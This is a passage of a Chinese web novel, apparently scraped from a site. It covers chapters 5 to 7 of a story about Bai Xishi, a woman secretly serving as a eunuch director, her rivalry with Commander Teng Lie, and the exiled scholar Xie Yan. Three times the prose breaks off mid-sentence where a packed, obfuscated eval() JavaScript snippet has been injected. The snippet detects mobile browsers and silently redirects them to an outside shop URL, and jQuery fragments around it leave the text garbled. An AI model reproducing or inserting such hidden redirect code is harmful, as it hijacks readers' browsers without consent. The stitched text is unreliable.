发觉是白惜时,解衍平静的漆眸浮上一层冷意,隐有寒霜。 白惜时视而不见,坦荡荡欣赏着那双千闵所说的那双眉眼。 元盛:“大舅哥似乎对厂督有成见。” ……? 白惜时怪异地觑了元盛一眼,元盛就是这样,平时里半天说不出一个字,一开口,十次有九次语出惊人。 解衍十九,她二十一。 大舅哥? 多新鲜的称呼。 解柔云不是她的妻子,解衍也不该占她辈分上的便宜。 不过,既然这人三生有幸长得像魏廷川,那么白惜时也难得大方一回,愿意送给年轻人一个忠告。 恰好隶役们此时已搬着行李登上二楼,白惜时一个眼神,千闵立即会意,伸手拦下经过的解衍。 解衍一言不发,脊背笔直,此刻拦下他的虽是千闵,他望着的却始终是白惜时。 缓缓踱步,白惜时走至男子面前。 望进这双似曾相识的眼,她心情实在不错。 就是,目光不善,防备的很,很遗憾不是她记忆中的样子。 但白惜时还是愿意为这双眼,贡献一些好心。 “解衍,你记住。”白惜时一字一句,“在没把握弄死对方之前,收起你眼中的情绪。否则,很容易被对方猜透、反杀。” “所以。”白惜时又靠近了一步,“你再用这样的眼神看着咱家,小心咱家先弄死你。” — 回京之后,一行人兵分三路,白惜时赶往宫中,元盛带着抓住的富商和一群兄弟们回东厂,而千闵则将解衍带至白府。 白惜时顾不得吃饭,在御书房门口等了一个多时辰,才见到了皇帝。 将贪墨官盐之事可能涉及向冉回走私,那冉回商人的书信中,还提及茶叶、铁器等官营垄断商品之事一一禀告。 白惜时推测,除了工部侍郎方宪外明,朝中可能还有大鱼躲在后头参与买卖。 年轻的帝王听完眉头皱起,又与白惜时详问了一些细节,继而点头赞同白惜时的做法,命他继续追查。 将调查的一应事宜汇报完,白惜时顿了顿,改为躬身请罪,说出途中恰好遇到流放的解家人,又发现解衍识得冉回文字,便自作主张将人带回京中,暗中协助办案之事。 皇帝听完,坐于龙椅之上,盯着白惜时,半晌没有说话。 “你带回解衍,恐怕不止这个原因罢。” 他突然开口,带着上位者的威压,白惜时心中陡然一跳,额头上便起了一层薄汗。 不过紧接着的下一句,却叫白惜时悬在半空中的心,又重新落了下来。 只听他带着些感慨道:“看来小石头是真的长大了。” 既还叫他小石头,那便证明皇帝并没有生气怪罪,并且,还念着旧情。 白惜时抬头,望向上首。 果然,皇帝接下来与他说的,便是已知道白惜时私留下解家女,并且在他看来,白惜时带回解衍,也有一部分原因是爱屋及乌,为博解柔云欢心。 白惜时听完没有否认,只做出一副尴尬青涩的表情,算是应了皇帝的猜测。 皇帝觉得白惜时的表情甚是有趣,甚至还笑了一笑。 “解衍此人,是个人才。”皇帝还记得那个金銮殿上自己亲自圈出的探花郎,“流放确实可惜。” “但你私留解家女尚且不论,带回解衍,此举失当,即便是协助办案,为堵住朝臣们的嘴,朕也不能不罚你。” 白惜时立即低头行礼,“奴才知罪。” 皇帝“嗯”了一声,此时已经翻阅起了桌面上的折子,“那便出去领罚五十个板子吧。” 五十个板子,对应私自带回流放之人,实在算不得什么。何况在这宫中,打板子的禁军和太监都归司礼监统管,而谁人又不知,白惜时与掌印的关系? 白惜时也心知肚明,这是皇帝在给她放水。 因而五十个板子,白惜时屁股上连皮肉都没破,只有些隐隐的疼,估摸着养几日,便不耽误下地走路。 不过为了将表面功夫做足,她还是找人将自己抬出了宫外。 长长的宫道旁,两个身穿内宦服饰的身影隐没于树后,冷眼看着白惜时就这样被抬出安和门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251700|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秉笔,这姓白的自去了东厂,行事越发高调嚣张。” 梁年冷哼一声,并不把白惜时放在眼里,“乳臭未干,便让他再得意些时日。” 说罢转头又问:“给贵妃求的药方可都备好了?” 旁边那人立刻狗腿道:“都备好了,这回保管能助贵妃娘娘一举得男。” 梁年皱眉,似是嫌弃那人话多,“走,咱们去给贵妃娘娘请安。” — 白惜时回来的时候,府中之人不知内情,只见着自家主子趴着被人抬进了门,都骇了一大跳。 一问跟去的才知,主子被今上罚了五十大板,原因则是擅携流放犯人回京。 此话一出,所有人的目光都投向了这位新入府的花草匠。 解衍此刻也立于人群之中,望着白惜时被簇拥着抬进屋,眸色掠过一丝复杂。 入府后他自是第一时间找到解柔云,从妹妹口中,他才得知当日并不是白惜时强将妹妹纳入府中,而是,解柔云求白惜时收留。 并且,妹妹至今仍是完璧之身,白惜时至少目前还没有欺负过她。 虽然现在不欺负,并不代表以后不会欺负,但解衍眼中的那股憎恶,还是在得知事情原委后消散了一半。 特别是在看见白惜时蹙着眉心被抬回,而他被圣上责罚的原因,还是自己。 见到厂督如此情状,解柔云乍见哥哥时的欢喜也被担忧取代。 她很害怕厂督会迁怒于他们兄妹两,再将解衍送回漠北。 “哥哥,咱们要不要跟过去看看?” 解衍听后,看着簇拥而去的方向,没有说话。但解柔云知道,他不说话便是不反对。 扯了一把兄长的袖子,解家兄妹两跟着其他家厮,一起跟到了白惜时的主屋门口。 此时房门已经关上,一群下人侯在外头,听说厂督只叫了孟姑姑一个人进去,应该是正在为他处理伤口。 解柔云这几日与下人们说话,也对白惜时有了些了解。厂督平日里不怎么回府,回来了也不喜欢人伺候,一般人不许近身,只唯独对孟姑姑颇为信任。 这也似乎因为二人是旧相识,并且孟姑姑颇擅药理,有几次厂督生病受伤都是孟姑姑医治照料好的。 主屋里一点声响也没有,过了一会,一个小侍端着个托盘从月洞门外快速走了进来,本想直接敲门,半道上,却被另一个人拦了下来。 彭管事是除了孟姑姑外白府唯二的管事,管理着府中一应后勤事宜。 此时他朝院内打量了一圈,正想着人去将解柔云叫来,却刚好暼见要找之人,心思一动,吩咐那小侍将托盘送了过去。 彭管事,“这是孟姑姑方才吩咐的药膏,还请姑娘给厂督送进去吧。” 解柔云看着那托盘,有些犹豫,她不是不感谢白惜时,但同时又很惧怕他,如果可以,她其实并不想在厂督面前出现。 更不愿意与那位阴恻恻的厂督有任何独处的机会。 可……他是为了带兄长回来才受伤的。 解柔云想到这,还是缓慢伸出了手,可就在要触碰到边缘的一刹那,托盘却被另一双手稳稳接了过去。 解柔云一侧头,却见解衍已经先一步站在自己身前,对着彭管事平静道:“我来。” 5. 第 5 章 白惜时的伤确实不重,只是有些小伤和青紫,只不过在一片白皙细嫩的皮肉上,还是显得有些突兀。 替白惜时把褪下的裘裤叠好,盖上被子,孟姑姑忍了忍,还是忧心起来。 “我虽知厂督带回解衍必有原因,但下次还是三思而行。不然若是一个行差踏错女儿身叫人发现,那可是杀头的死罪。” 白惜时趴在床上,侧头朝冲她笑了笑,“姑姑不必忧虑,我这不是没事么。” “有事。”孟姑姑坚持,“小伤厂督也需好好将养,不能大意也不好留疤的。” 留疤…… 其实白惜时倒无所谓,她自穿过来便揣着个官宦的身份,如今还混成了个人尽皆知的大官宦,这辈子,那隐秘地方即便留了疤,除了孟姑姑,应该也没机会给人见上一见。 若是见着了,估摸着她这条小命也快要到头了。 不过白惜时并不准备跟孟姑姑在这个问题上掰扯,于是只点头,道了声“好”。 话音刚落,屋子外响起了三下规规矩矩的叩门之声,孟姑姑又低头检查了一下白惜时的衣裳,才开口道:“进来吧。” 本以为会是那送药的小侍,但脚步声又不大对,明显沉稳许多,待那人绕过屏风,白惜时与孟姑姑目光俱是一顿。 没想到,进来的竟是解衍。 男子径直走至床边,言简意赅说明了来意,“送药。” …… 下巴枕在枕头上,只一眼,白惜时便敏锐地发现,解衍眼中独对自己的那股进攻性没有了。 什么原因,她自然猜得到。 不过好也罢坏也罢,她并不在意解衍如何看自己,因而整个人兴致缺缺,将头又摆正了回去。 其实之前那种眼神想想还挺带劲的,让白惜时有一种当大反派的体验。 孟姑姑这时候站起身,看着托盘问道:“怎么是解郎君送进来的,那小侍呢?” 解衍:“彭管事另有事交予他。” 一提到彭管事,孟姑姑便立刻明白了事情始末,彭管事不可能叫得是解衍,应该是想解柔云送东西进来。 至于最后为什么进来的会是解衍,答案显而易见。 想到这孟姑姑点点头,“有劳解郎君了,便放在这里吧。” 解衍曾是万里挑一的探花郎,矜雅卓然,即便现在的只是一身杂役的装束,也难掩清俊,更没有人会真正看轻他。 孟姑姑也不例外。 解衍按照孟姑姑的吩咐将托盘放在床头的案几。 但放下后,似乎并没有要走的打算。 白惜时等了一会,发现有人还杵在原地,莫名其妙,又扫了他一眼。 解衍的目光倒是没在白惜时身的上停留,只看着孟姑姑。 孟姑姑:“谢郎君,还有事?” 解衍声线低醇,“舍妹幼时体弱,为及时医治我也学了些药理。若是需要,在下可……” 他的意思,是要留下来帮忙? “不需要。”白惜时想都没想,冷声打断。 她被子底下没穿裤子!这伤是他能看的吗? 这人身份适应的挺快,一发现自己没对她妹妹做什么,倒是又换了副态度。 防备她叫解柔云进来上药,索性毛遂自荐了? “出去。” 白惜时阖上眼,根本不可能叫解衍看到她屁股上的伤。 孟姑姑打圆场,“这里有我就行了,谢郎君刚来府上,屋子和行李应该还没安顿妥当,这便收拾休整去吧。” 想了一下又道:“也可叫上解姑娘一起帮忙。” 解衍一听此话,明了白惜时一时半会不会寻解柔云,眉宇间果然松动了些。 “多谢,叨扰。” 留下这四个字,解衍利落转身。 待他跨过门槛,重新阖上房门,孟姑姑回过头来感叹道:“没想到还是个好哥哥。这么好的一个郎君,倒真是可惜了。” 白惜时重新睁开眼,有些漫不经心,“哪里可惜?” “长得好,读书好,身姿挺拔,性子瞧着也持重,才十九岁啊,本该是最意气风发的年纪,结果被家族牵连至此,厂督觉得不可惜吗?” 可惜? 或许吧,但这与白惜时无关。 倒是孟姑姑说的“长得好”她很赞同,毕竟这人长得像他。 魏廷川,当年算是高门贵胄中公认的第一公子。 等了片刻不见白惜时回答,却见她目光虚望着前方似有心事,孟姑姑没再继续方才的话题,只一边将药油在手中揉热,一边将被子掀开覆在她的伤处。 “厂督且忍忍,一会便好。” — 白惜时在床上躺了三日,这三日里,元盛拿着由解衍译出的书信,已从那冉回富商口中逼问出了与他交易的人员名单,只不过与他做买卖的都是下头之人,很多不知道背后的主子是谁。 这个顺藤摸瓜,倒是好查。 但那富商还供出了一条重要消息,那便是他们交易的地点不止一个,还有另一处是方宪明都不曾知道的,且那里的冉回商人不止他一个,还有几个生意做得没他大的散商,也集聚在那里收些大魏商品。 这条线索听起来有蹊跷,白惜时决定亲自去查看一趟。 不过那冉回富商交待的地点竟是一间瓮堂,也就是现代所说的澡堂浴场,此处鱼龙混杂,确实是掩人耳目的有利场所。 白惜时在那瓮堂与对面的青楼之间没有取舍,毫不犹豫便踏入了红袖香鬓之中。 太监逛青楼,总比泡澡堂子合理一些。 因着白惜时之前都生活在宫中,此时与千闵元盛又都是一身常服,青楼中的跑堂没识出几人身份,只当是新来的恩客。 按照客人要求,跑堂的将三人领到二楼的凭窗之处,尚未开口询问客人喜好,对面的那张桌子却已然传来了一声嗤笑。 不仅是跑堂的,白惜时连带着千闵、元盛都一齐望过去,这一望,白惜时心下了然,透过洞开的窗户又扫了眼街对面的瓮堂,再看过去,目光便凉了下来。 对桌四、五人皆着常服,但白惜时一眼便知,那是锦衣卫,而当中坐着的不是旁人,正是锦衣卫指挥使滕烈。 不过那一声笑倒不是他发出来的,而是坐于他左侧的指挥佥事,蒋寅。 掏出一锭银子抛给跑堂的,千闵挥手叫人下去,那跑堂的也是人精,眼见两桌人物似是不对付,将推荐姑娘的话又咽了回去,只上了茶水便点头哈腰退了出去。 此时,窗口附近便只剩这么两桌人。 千闵提起茶壶斟茶,低头送至白惜时面前,白惜时气定神闲,端起茶盏喝了一口。 蒋寅见方才挑衅的未得回应,不甘心,这回直接开口。 “没想到兄弟门出来乐呵乐呵,于此处竟遇到了厂督。厂督白日日理万机,夜中还来狎妓玩乐,但属下以为,厂督不宜操劳过度,以免伤身呐。” 此言一出,除了滕烈,其余几个锦衣卫均哈哈笑了起来,太监没有那家伙事,又谈何伤身? 蒋寅分明是看白惜时年纪轻资历浅,不把他这个厂督放在眼里。 但他之所以敢公然叫嚣,究其根本,还是取决去指挥使滕烈的态度。 按照惯例,锦衣卫向来听令于东厂,但因前任东厂厂督与锦衣卫指挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251701|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使合谋犯案,皇帝似乎不希望东厂与锦衣卫走得太近,因而在人员任免上也用了一番心思。 滕烈,出自勋贵之后,家族世代簪缨,二十二岁便担任禁军首领,二十四岁提拔为锦衣卫指挥使,为人桀骜不驯、恣意无拘。 而白惜时在背景、资历上显然不如滕烈,年纪也不占优势。 简而言之,滕烈不服白惜时。 以至于形成了当前锦衣卫不大听从东厂调遣的局面,白惜时自上任以来,确实感受到了这方面的掣肘。 滕烈此人,白惜时一时半会还没想到拿捏拉拢之法,但并不意味着,她就能被人骑在头上打压。 闻言,白惜时扬唇抬眸,视线投过去,带着一股阴恻恻的狠。 她睨着蒋寅,“既然自称一声属下,就该清楚,咱家不仅可以狎妓,若是不挑,亦可狎你。” 这话说得张狂,直接将蒋寅比喻成那供人狎玩的妓子。 蒋寅愣了片刻,他生得人高马大,没想到有一天竟会被个不男不女的太监如此贬低, 瞬间气得面红脖子粗。 “你说什么,你……” 滕烈此前一直未语专心赏曲,直到这时候才伸手,拦下就要往前理论的蒋寅。 “下头人不懂规矩,厂督担待。” 男子声线低沉轻慢,口上虽说着道歉之语,然神色倨傲散漫,显然未将白惜时放在眼里。 说罢她点了点身侧美娇娘,一指对面,“搅扰厂督雅兴,蝶娘,替我去给厂督敬杯酒,赔个不是。” 蝶娘已从方才的对话中知道了白惜时的身份,同样也明白滕烈的势力,此刻夹在两方中间,十分为难,她怕贸然过去,会遭白惜时记恨。 毕竟明眼人都看得出来,滕烈根本不是真心实意道歉,如若真心,他当自己过去。 可眼下他仍然端坐如初,连个身子都未起。 女子拿酒杯的动作出现了几分迟疑。 “蝶娘放心,既叫你去,定会护你周全。” 滕烈这个时候靠近女子,在她身边低语了一句。 有了郎君的保证,蝶娘又悄悄抬眼瞧着面前俊朗威严的指挥使,心口没来由一跳,点了点头,端着酒杯朝白惜时走了过来。 她婷婷袅袅,朝白惜时一伏身,这时候才真真正正看清厂督的面目。 竟是比楼中花魁还要惹眼的一张脸,只是这惹眼中又裹挟着凛凛寒光,自是勾勒出一副雌雄莫辨的气势。 蝶娘不敢多瞧,快速垂下眼帘,“厂督宽仁,蝶娘仰慕,奴家敬您一杯,还请您赏光。” 她猜测厂督根本不会喝,只盼着不要过于为难才好。 闻言觑了蝶娘一眼,视线下移,又瞥见对方举杯的手正微微发着抖,白惜时收回目光,半晌之后,将杯盏送至唇边,浅酌了一口。 蝶娘微张着嘴巴,满脸写着错愕。 白惜时却已镇定从容,将酒杯叩回桌面。 白惜时知道,对面之人都在等着自己摔杯叫嚣、怒火中烧,叫一个妓子来敬酒赔不是,显然是在下她的脸面。 白惜时自然不会被轻易激怒。 何况,她也不喜欢为难不相干之人,若是为难,更倾向于为难直接挑衅自己的一方。 滕烈显然也没想到白惜时会是如此反应,见状搁下酒盏,修长的指节敲击着桌面。 “厂督惯会怜香惜玉。” 知他是意指霸占解柔云之事,白惜时听后很认同,甚至还大方点了点头,又用余光扫了眼街对面的瓮堂。 继而不紧不慢开腔,“爱美之人人皆有之,不过不比指挥使,除了怜香惜玉……还会,逢场作戏。” 6. 第 6 章 滕烈一行显然也得到消息,同样为监视对面的瓮堂而来。 白惜时一句“逢场作戏”,蝶娘那些个妓子听不懂,但在锦衣卫与东厂之间,无异于将此事挑明,双方情势更加剑拔弩张,千闵与元盛也已然将手握在了刀柄之上。 锦衣卫同样“刷”的一声站了起来。 唯有滕烈与白惜时,此刻仍端坐未动。 不过滕烈一旦敛了神色,身为指挥使的压迫和震慑便顷刻间迸发了出来,深邃的眸子朝白惜时这边刮过,目光锋利如刀。 白惜时迎着那目光,丝毫未退让。 空气中骤然弥漫着一股显而易见的紧张,与这花天酒地的氛围割裂开来,连懵懂的蝶娘都下意识捏紧裙摆,后退了数步。 好似只是一眨眼的功夫,又好似已然过了许久,最后,滕烈收回目光,率先结束这场对峙,嘴角漾起一个极浅的弧度。 “厂督,那便各凭本事罢。” 薄唇翕动,气势仍旧逼人。 手心不知不觉已经起了一层薄汗,白惜时不得不承认,滕烈气场太强,方才她有强撑的成分在里面。 可她若不撑,今日一旦漏了怯,往后东厂便永远只会比锦衣卫低上一头,更何谈让锦衣卫听从调遣? 不过她猜的不错,滕烈虽看起来不可一世,却不是莽撞之人,在如此情境下,双方目标均在对面的瓮堂,不宜大动干戈打草惊蛇。 遂迎着对方的目光,白惜时面上的张扬不减,慢条斯理点了点头,只回了一个字,“可。” 须臾之后,两桌人马奇迹般的又安稳了下来,只是互不理睬干涉,各自忙于事宜。 但今日差事办得并不顺利,当那可疑之人离开瓮堂之时,蒋寅、千闵第一时间跟了出去,二人均善于追踪,但追途之中免不得互看不顺眼,互相给对方使绊子,以至于最后跟到了一个死胡同当中,竟叫那可疑之人凭空消失了。 滕烈、白惜时稍后赶到,面对的便是一堵实心的砖墙。 千闵、蒋寅此时倒是默契非常,各自低头请罪,“属下失职,请厂督(指挥使)责罚。” 白惜时此时注意力却不在二人身上,细致观察周遭,目光绕过这道围墙,再越过一条巷道,通向的便是京中众多达官显贵的府邸。 抬头望向围墙之外唯一一处没有亮烛火的院子,白惜时问道:“那里是什么地方?” 千闵:“回厂督,是兵部侍郎翟瑞新购置的一处宅邸,眼下尚在修整,还未正式乔迁。” 翟瑞? 盯着那黑黢黢的一片屋檐房舍,白惜时没有动,滕烈闻言,同样停住脚步。 二人谁都没有再言语,但视线的方向却出奇的一致,似乎,是想到了一处去。 约莫一柱香的时间后,就在旁人都不知白惜时与滕烈在等些什么的时候,先前那片黑暗中,突然亮起了一丝忽明忽暗的光。 见状,白惜时扬起唇角,一回头,正要吩咐千闵,才发现不远处还站着个碍眼之人,下意识皱了皱眉头。 即便此刻灯笼不够亮堂,视线偶然相撞,白惜时与滕烈也互相看清了对方眼中的不待见。 不听从东厂调遣便罢,锦衣卫如今还同东厂较上了劲,尤有竞争之意,实在让白惜时觉得麻烦。 锦衣卫麻烦,指挥使滕烈,更麻烦。 皇帝这一招制衡,真是太看得起她了。 — 白惜时回到府中已是月上中天,因着遇到滕烈,她在青楼连饭菜都没好好吃几口,此刻便觉得腹中饥饿。 吩咐下人备些简单好消化的宵夜上来,白惜时一边坐在桌边,一边继续筹划着后面几日的行动,必一刻不得放松,莫要叫锦衣卫那边抢占了先机才是。 正兀自思考间,下人们动作利索,很快便为白惜时布置了几道清爽可口的菜色,白惜时拿起筷子,尚未伸出去,这时候视野里却多了一双纤白的细手,此刻正颤颤巍巍夹了一片笋条,朝自己碗边“抖”了过来。 白惜时:…… 将筷子重新搁回碗上,白惜时侧头,果然便见到解柔云那张出水芙蓉的面庞,只不过这面庞眼下瞧着不大顺眼,见自己犹如见到了什么洪水猛兽,紧张害怕的厉害。 “咱家长得很可怖?” 食欲被她这双筷子“抖”下去一半,白惜时一时半会没了兴致吃饭,手肘搭在桌边,问她。 蝶娘如此,解柔云亦如此,近来靠近她的女子似乎无一不发抖瑟缩。 她自忖平日里是阴阳怪气、难说话了些,但那副做派主要是对男子,对女子,她没有刻意为难。 可解柔云的反应,总让她觉得自己是个十恶不赦的变态,这种感受不太好。 解柔云继续抖着声音,“不,不可怖,厂督很……很好看。” “那便别哭丧着个脸,咱家这是回家,不是寻晦气!” 白惜时:“会笑吗?” 解柔云一愣,眼神呆呆的,“会……会的。” “笑一个看看。” 今日查案加之与滕烈较劲,白惜时始终绷着根弦,此刻回家,便想放松,哪怕是见个笑模样也好。 解柔云闻言,有些不知所措,隔了好一会才反应过来,继而僵硬牵起嘴角,虽尽力弯出个弧度,实在笑得比哭还难看。 白惜时没奈何“啧”了一声。 解柔云被被这一声吓得一惊,手中的筷子没拿稳,直接掉到了地上。 她诚惶诚恐想要蹲下身去捡,觉得自己肯定惹厂督生气了,正不知如何是好之时,这个时候,一片阴影笼罩了过来,将那双筷子率先拾起,解柔云一抬头,便看见了解衍的脸。 心中瞬间安定了许多。 有哥哥在,一切问题都可迎刃而解。 一直都是这样的。 听闻妹妹大半夜突然被叫去给白惜时布菜,解衍本已躺在床上,得知后眉头紧蹙,即刻穿上衣服赶了过来。 一个大活人突然走进来,白惜时只要不瞎,自然看得见。 但她只是凉凉地瞧着,并未言语,等着这二人给自己上演怎样兄妹情深的戏码。 此刻已有下人跟上来想要阻拦解衍,却惊奇地发现厂督没有呵斥,停了片刻,又恭敬退了出去。 解衍很快直起腰,将脏了的筷子捡起来搁至桌边,又重新取了一双,夹起一道新鲜时蔬,稳稳放入白惜时的碗中。 “夜深不易多食,厂督可以清淡为主。” 解衍面容沉静,没为解柔云辩解一句,只站在了妹妹原来的位置上,改为由他来为白惜时布菜。 视线从解衍挪到碗中那份藕丝,白惜时瞧了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251702|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有动筷。 挺没意思的。 “既然你事事愿意挡在她的前头,那便你来吧。”白惜时抬起头,对解衍说了这么一句。 “是。” 解衍不卑不亢,走至铜盆旁净了手,继而修长的手指挽起衣袖,预备专心为白惜时布菜。 “我说的不是这个。”白惜时打断他。 解衍,“什么?” “笑。” 白惜时此刻背靠向椅背,先扫了眼被男子挡在后头的解柔云,再看向解衍,“她笑得比哭还难看,你不是愿意替她吗?那便由你来替她笑。” 闻言,男子停下动作,面上虽平静无波,但那双捏着筷箸的手,正在逐渐收紧。 解衍面无表情,“厂督说的我听不懂。” “听不懂没关系,你亲妹妹听得懂,柔云……” 白惜时抬手,正欲将男子身后之人重新唤至身边,但一句话尚未说完,手臂已经被人牢牢握住。 眼里的羞愤一闪而过,又被那双沉静的眼很好的隐藏,解衍看向白惜时,“……厂督想让我如何笑?” 白惜时收回手,暼向解衍,“随你。” 其实方才若是解衍不来,解柔云此刻应该已经回去了。 不过既然此人这么喜欢胡乱揣测自己,总觉得自己会对解柔云做点什么,那她便找点事,免得叫人家失望。 实际上白惜时眼下已有了困意,连饭都不想吃,只想快点回屋睡觉。 因而见解衍半天没有动作,不耐烦催促道:“快些,还需要咱家三请四邀吗?” 白惜时对解衍的笑没抱什么期待,看他这副隐忍不发的样子,无非笑得跟她妹妹一样僵硬,亦或是敷衍了事、苦大仇深。 反正不论他怎么笑,只要笑了,白惜时便决定睁一只眼闭一只眼,各自该回房干嘛干嘛去。 但这一次,她好像失算了。 解衍笑了,也确实笑得如意料之中没那么走心,嘴角牵起,瞳仁中一层灰蒙蒙的霾,但白惜时骤然望过去,还是毫无征兆的被刺痛了一下,盯着那双熟悉的眉眼,恍若隔世。 太像了,像到她有片刻的怔然,继而醒悟过来,移开目光,没有再看解衍一眼。 “笑得一个比一个难看,带上你的妹妹,出去。” 阴沉的口吻掩饰方才一瞬的失神,白惜时此刻连困意都消失,过去的记忆如潮水般翻涌,她透过解衍,又看到了另一个人的影子。 因为另一个人,于军营之中再见时,也曾对她这么笑过。 笑得一如这般,沉闷、勉强。 白惜时情绪转变的太快,以至于吓了解柔云一跳,她不理解哥哥只是普普通通笑了一下,为什么就惹得厂督如此不悦。 解衍相比起来镇定许多,只缓缓看了白惜时一眼,继而平静转身,领着妹妹跨过门槛,走了出去。 将妹妹送回房内,又嘱咐了几句,看着房门在自己面前阖上,解衍重新步入夜色之中。 月光似乎十分偏爱这位如皎月般的男子,光华倾斜在他的身上,映出冷淡的侧脸,以及此刻微微蹙起的眉心。 他隐约察觉白惜时方才看自己的眼神,不对。 至于哪里不对,什么原因,不得而知。 但很显然,那样的眼神,解衍不喜欢。 7. 第 7 章 魏廷川十六岁之前的人生,算得上顺风顺水,他是京中尊贵无双的世子爷,时常出入宫廷,与皇子皇孙为伴。 但自父亲被先帝猜忌问斩,母亲自戕,他被发配充军之后,整个人生就发生了翻天覆地的变化。 当魏廷川还是世子之时,他在宫中偶然遇见了小太监白惜时,那时白惜时处境十分艰难,正在伺候废院皇子,处处受人刁难欺凌,魏廷川机缘巧合之下,帮过他几回忙。 可能在当时的魏廷川看来,帮过白惜时的都是些不值一提的小事,但对于当时的白惜时来说,是孤立无援之中送来的一捧热光。 她感激,也想要报答。 因而当等到废太子登基,他与老太监张茂林一起进入司礼监,听闻有去西北监军的机会,他毫不犹豫就恳求陪同监军的大太监一起,共赴西北。 张茂林当时将白惜时骂得狗血淋头,直言此时正是在司礼监站稳脚跟的大好时机,他作为新上任的掌印手边也正缺人手,白惜时却偏要这个气候跑到战场上吃苦受罪,简直脑袋被驴踢了。 但白惜时没有后悔所做的决定。 并且时常庆幸,还好她当时,去了。 在西北边塞的军营,白惜时找到了负伤的魏廷川,他与许多伤员一同躺在漏风的棚帐内,衣裳脏污、嘴唇干裂,鲜血染透了包扎伤口的布。 看见白惜时的第一眼时,魏廷川应该是想要笑,却又似乎不大笑得出来。 他可能在白惜时面前矜贵体面、无所不能惯了,这个时候即便落魄,也要面子,最后便笑得沉闷又勉强。 与解衍那违心的一笑,如出一辙。 可能就是因为解衍的那一笑,这夜,白惜时又梦到了魏廷川。 梦里自己继续问他,“为什么每次打仗都这么不要命的往前冲,不怕死吗?” 魏廷川望着远处层峦起伏的山脉,声线坚定,“不怕死,我只怕这辈子没有机会,再起来。” 他想要重回权力之巅。 白惜时睡醒的时候,脑中萦绕的,还是魏廷川曾对她说过的那句话。 继而又有些为他高兴,魏廷川不愧是魏廷川,如今正如当年所言,靠着一次次挣得的军功,做到了参将的位置。 未来,他应该还会继续向上走,或许有可能,超越他的父亲。 因为梦到魏廷川,白惜时在床边多坐了一会,继而自己绑好束带、穿上金丝甲,才叫了人进来替她洗漱更衣。 一见推门进来的仍是孟姑姑,白惜时上前两步,托住她的胳膊:“姑姑风寒未愈,不用这般操劳,回屋休息吧。” 孟姑姑一边坚持将外袍展开,替她穿上,一边摇头道:“不碍事的,哪就有那般娇弱。” 但她面容仍旧憔悴,白惜时:“姑姑本就是医者,更当知道休养的重要。” 孟姑姑却不接话,反倒自责,“怪我昨日睡得太死,竟不知厂督回府。” 继而又问:“听说谢郎君和柔云姑娘昨夜惹厂督生气了?” 白惜时见劝不回去,改为按着孟姑姑坐下,自己站在镜子前整理衣襟,“没有。” 孟姑姑笑了起来,“我就猜到厂督不会真的动怒,定是又吓唬人去了。” 白惜时闻言扬唇,没有反驳。 待穿戴完毕,白惜时走在廊下要去前厅用饭,走了几步,却见好些个婢女聚在一处洒扫,一时有些惊异,回头去问孟姑姑。 “我竟不知,府中有这样多的丫鬟婢子。” 孟姑姑循着望过去,又迎风低咳了一声,这才有些无奈道:“那还得是探花郎才有这样的本事,将府中各处的婢子差不多都聚齐了。” “厂督有所不知,自解郎君入府,还做了花草匠,这些个小丫头们便一个起得比一个早,争相等在此处,连亭榭里的落叶都抢着扫完了。” 经孟姑姑这一提醒,白惜时才发现另一边站在两棵景观松之间的解衍,此刻他正拿着一把园艺剪,跟在老师傅后头学习。 男子身量极高,却有些清瘦,身着一袭再普通不过的青衫,但即便这样,仍旧难掩丰神俊逸。 他此刻神情专注,听得也认真,很显然将注意力都放在了眼前的郁郁葱葱上,仿佛根本没发现有许多双眼睛都在有意无意,偷偷打量着自己。 白惜时看看解衍,又扫过那一群小丫头们,没太往心里去。 还是孟姑姑看不下去,带着浓厚的鼻音从廊下走过去,“如此这般也太没了规矩,我这去将她们撵走,一会再挨个叫过来好好管教训斥。” 丫鬟婢女们见孟姑姑来了,又发现站在不远处的厂督,吓了一跳,没一会便作鸟兽状,低头小跑着回了各自的院落。 此刻廊下无人,白惜时如旁观者一般看着这样的热闹场面,倒觉得添了几分生机。 落难的清冷探花郎与开朗机灵的小丫鬟…… 说不定,还挺配? 白惜时为自己的想法笑了一下,她其实也经常会有些稀奇古怪、天马行空的想法,没事偶尔还会看两册街市上流行的话本,不过身份限制,她得有所收敛顾忌。 再看过去,解衍不知何时已发现了自己,正用一双沉寂无波的眸子朝她这边望过来。 白惜时维持着厂督应有的做派,高高在上,冲他扬眉。 解衍却略略一点头,举止疏离有礼。 这态度倒是意料之外,还挺能忍? 解衍除了长相,其实性格与魏廷川大相近庭,魏廷川大气阳光善于交际,而解衍冷淡隐忍处事低调。 